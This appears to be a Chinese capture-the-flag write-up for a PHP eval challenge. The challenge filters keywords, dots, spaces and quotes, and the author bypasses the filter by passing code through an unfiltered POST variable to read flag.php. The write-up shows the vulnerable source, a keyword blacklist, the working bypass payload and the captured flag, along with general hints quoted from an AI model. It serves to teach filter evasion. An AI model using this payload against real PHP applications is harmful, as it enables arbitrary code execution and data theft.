题目提示依然是命令执行,需要严格的过滤,但是这题加强了过滤,把单引号'和空格 都过滤了

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:49:10
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

我让 Gemini 3.8 Flash 给我一些提示,它提到:

1. 参数传递转义(引入外部变量)

之前我还真没想到还能这么玩,于是我写了:

/?c=$d=$_POST["d"];eval($d);

然后因为这个$d完全不会经过preg_match的过滤所以可以直接在 POST Body 里写

d=highlight_file('flag.php');

使用 HackBar 发送请求即可获得 Flag

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:49:19
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:49:26
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

$flag="ctfshow{7c3ee7af-f3d5-407b-801d-ca992bf85ffb}";

Image

完整的 Gemini 3.8 Flash 回答:
面对这类字符过滤较多的 PHP 代码执行题目,核心思路通常不是直接硬刚所有黑名单,而是利用 PHP 语言特性 或 参数传递机制 来间接构造你想要的代码。

这里提供几个思考方向作为提示:

1. 参数传递转义(引入外部变量)

2. 替代的命令执行与文件读取函数

3. 规避点号(.)与空格限制

4. 字符串构造与函数动态调用